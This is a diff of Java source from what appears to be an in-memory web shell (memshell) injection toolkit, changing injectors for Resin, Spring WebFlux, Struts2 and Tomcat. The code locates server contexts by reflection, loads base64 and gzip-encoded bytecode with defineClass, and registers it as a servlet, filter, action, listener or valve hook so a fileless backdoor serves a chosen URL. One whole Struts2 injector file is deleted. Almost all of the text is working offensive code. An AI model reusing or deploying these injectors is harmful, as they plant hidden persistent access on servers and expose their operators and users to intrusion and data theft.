||||
return context;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
classLoader = classLoader.getParent();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
private void inject(Object context, Object servlet) throws Exception {
|
||||
Map<String, Object> servlets = (Map) getFieldValue(context, "_servlets");
|
||||
for (String key : servlets.keySet()) {
|
||||
if (key.contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Object servletConfig = invokeMethod(
|
||||
context,
|
||||
"addServlet",
|
||||
new Class[]{String.class, String.class},
|
||||
new Object[]{getClassName(), getClassName()});
|
||||
Class<?> servletConfigClass = context.getClass().getClassLoader().loadClass("com.caucho.server.http.QServletConfig");
|
||||
invokeMethod(
|
||||
context,
|
||||
"addDispatchMap",
|
||||
new Class[]{String.class, servletConfigClass},
|
||||
new Object[]{getUrlPattern(), servletConfig});
|
||||
invokeMethod(context, "clearCache", null, null);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.injector.springwebflux;
|
||||
|
||||
import org.springframework.util.Base64Utils;
|
||||
import org.springframework.web.reactive.function.server.*;
|
||||
import org.springframework.web.reactive.function.server.support.RouterFunctionMapping;
|
||||
|
||||
@@ -62,7 +63,7 @@ public class SpringWebFluxHandlerFunctionInjector {
|
||||
try {
|
||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
|
||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.injector.springwebflux;
|
||||
|
||||
import org.springframework.util.Base64Utils;
|
||||
import org.springframework.web.method.HandlerMethod;
|
||||
import org.springframework.web.reactive.result.method.RequestMappingInfo;
|
||||
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
|
||||
@@ -62,7 +63,7 @@ public class SpringWebFluxHandlerMethodInjector {
|
||||
try {
|
||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
|
||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.injector.springwebflux;
|
||||
|
||||
import org.springframework.util.Base64Utils;
|
||||
import org.springframework.web.server.WebFilter;
|
||||
import org.springframework.web.server.handler.DefaultWebFilterChain;
|
||||
import org.springframework.web.server.handler.FilteringWebHandler;
|
||||
@@ -57,7 +58,7 @@ public class SpringWebFluxWebFilterInjector {
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
|
||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
|
||||
@@ -1,230 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.struts2;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/8
|
||||
*/
|
||||
public class Struts2ActionInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Struts2ActionInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Object context = null;
|
||||
try {
|
||||
context = getContext();
|
||||
} catch (Throwable e) {
|
||||
msg += "context error: " + getErrorMessage(e);
|
||||
}
|
||||
if (context == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
public Object getContext() throws Exception {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
ClassLoader contextClassLoader = thread.getContextClassLoader();
|
||||
if (contextClassLoader != null) {
|
||||
try {
|
||||
Class<?> clazz = contextClassLoader.loadClass("com.opensymphony.xwork2.ActionContext");
|
||||
Object context = clazz.getMethod("getContext").invoke(null);
|
||||
if (context != null) {
|
||||
return context;
|
||||
}
|
||||
} catch (ClassNotFoundException e) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private void inject(Object context, Object shell) throws Exception {
|
||||
Object actionInvocation = invokeMethod(context, "getActionInvocation");
|
||||
Object actionProxy = getFieldValue(actionInvocation, "proxy");
|
||||
Object configuration = getFieldValue(actionProxy, "configuration");
|
||||
Object runtimeConfiguration = getFieldValue(configuration, "runtimeConfiguration");
|
||||
Map<String, Map<String, Object>> namespaceActionConfigs = (Map<String, Map<String, Object>>) getFieldValue(runtimeConfiguration, "namespaceActionConfigs");
|
||||
for (Map.Entry<String, Map<String, Object>> entry : namespaceActionConfigs.entrySet()) {
|
||||
String namespace = entry.getKey();
|
||||
Map<String, Object> configs = entry.getValue();
|
||||
if (!configs.isEmpty()) {
|
||||
Object firstActionConfig = configs.entrySet().iterator().next().getValue();
|
||||
String actionName = getUrlPattern().substring(1);
|
||||
if (configs.containsKey(actionName)) {
|
||||
continue;
|
||||
}
|
||||
String packageName = (String) getFieldValue(firstActionConfig, "packageName");
|
||||
Class<?> actionConfigClass = context.getClass().getClassLoader().loadClass("com.opensymphony.xwork2.config.entities.ActionConfig");
|
||||
Constructor<?> actionConfigConstructor = actionConfigClass.getDeclaredConstructor(String.class, String.class, String.class);
|
||||
actionConfigConstructor.setAccessible(true);
|
||||
Object actionConfig = actionConfigConstructor.newInstance(namespace, packageName, getClassName());
|
||||
configs.put(actionName, actionConfig);
|
||||
msg += "namespace: [" + (namespace.isEmpty() ? "default" : namespace) + "] [" + getUrlPattern() + "] ready\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
Object interceptor = null;
|
||||
try {
|
||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
interceptor = clazz.newInstance();
|
||||
}
|
||||
return interceptor;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName) throws
|
||||
Exception {
|
||||
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||
Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
try {
|
||||
gzipInputStream.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
return clazz.getDeclaredField(name);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
try {
|
||||
Field field = getField(obj, name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -76,13 +76,9 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
// Tomcat uses void invoke; GlassFish/Payara uses int invoke (GlassFishValve)
|
||||
if (TARGET_METHOD_NAME.equals(name)
|
||||
&& (descriptor.endsWith(")V") || descriptor.endsWith(")I"))) {
|
||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
boolean returnsInt = descriptor.endsWith(")I");
|
||||
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(
|
||||
mv, argumentTypes, getClassName(), returnsInt);
|
||||
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
@@ -92,13 +88,11 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
private final boolean returnsInt;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className, boolean returnsInt) {
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
this.returnsInt = returnsInt;
|
||||
}
|
||||
|
||||
@Override
|
||||
@@ -123,13 +117,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
// GlassFishValve.END_PIPELINE == 2
|
||||
if (returnsInt) {
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitInsn(Opcodes.IRETURN);
|
||||
} else {
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
}
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
@@ -211,22 +199,17 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
// Always define into the target class's loader. loadClass() may resolve the shell from the
|
||||
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
|
||||
try {
|
||||
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
|
||||
findLoadedClass.setAccessible(true);
|
||||
if (findLoadedClass.invoke(loader, getClassName()) != null) {
|
||||
return;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
try {
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Throwable ignored) {
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -199,22 +199,17 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
// Always define into the target class's loader. loadClass() may resolve the shell from the
|
||||
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
|
||||
try {
|
||||
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
|
||||
findLoadedClass.setAccessible(true);
|
||||
if (findLoadedClass.invoke(loader, getClassName()) != null) {
|
||||
return;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
try {
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Throwable ignored) {
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,7 +4,6 @@ import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -43,7 +42,7 @@ public class TomcatFilterInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -61,47 +60,6 @@ public class TomcatFilterInjector {
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
/**
|
||||
* org.apache.catalina.core.StandardContext
|
||||
* /usr/local/tomcat/server/lib/catalina.jar
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
String threadName = thread.getName();
|
||||
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||
try {
|
||||
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null) {
|
||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||
if (name.matches(".+WebappClassLoader")) {
|
||||
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||
// need WebResourceRoot not DirContext
|
||||
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||
Object context = getFieldValue(resources, "context");
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
@@ -118,6 +76,34 @@ public class TomcatFilterInjector {
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
/**
|
||||
* org.apache.catalina.core.StandardContext
|
||||
* /usr/local/tomcat/server/lib/catalina.jar
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null) {
|
||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||
if (name.matches(".+WebappClassLoader")) {
|
||||
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||
// need WebResourceRoot not DirContext
|
||||
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||
Object context = getFieldValue(resources, "context");
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
@@ -151,18 +137,15 @@ public class TomcatFilterInjector {
|
||||
}
|
||||
Object filterDef;
|
||||
Object filterMap;
|
||||
Class<?> filterMapClass;
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
try {
|
||||
// tomcat v8+
|
||||
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
|
||||
filterMap = filterMapClass.newInstance();
|
||||
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
||||
} catch (Exception e2) {
|
||||
// tomcat v5+
|
||||
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||
filterMap = filterMapClass.newInstance();
|
||||
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
}
|
||||
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
@@ -180,17 +163,11 @@ public class TomcatFilterInjector {
|
||||
// tomcat v5
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
}
|
||||
|
||||
// addFilterMapFirst
|
||||
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
|
||||
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
|
||||
results[0] = filterMap;
|
||||
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
|
||||
try {
|
||||
// Tomcat5
|
||||
setFieldValue(context, "filterMaps", results);
|
||||
// v7.0.0 以上
|
||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
} catch (Exception e) {
|
||||
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
}
|
||||
|
||||
Constructor filterConfigConstructor;
|
||||
@@ -262,34 +239,20 @@ public class TomcatFilterInjector {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
return clazz.getDeclaredField(name);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
Field field = getField(obj, name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Field field = getField(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
|
||||
@@ -35,7 +35,7 @@ public class TomcatListenerInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -53,89 +53,6 @@ public class TomcatListenerInjector {
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
String threadName = thread.getName();
|
||||
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Object container = getContainerFromProcessor(target);
|
||||
if (container == null) {
|
||||
continue;
|
||||
}
|
||||
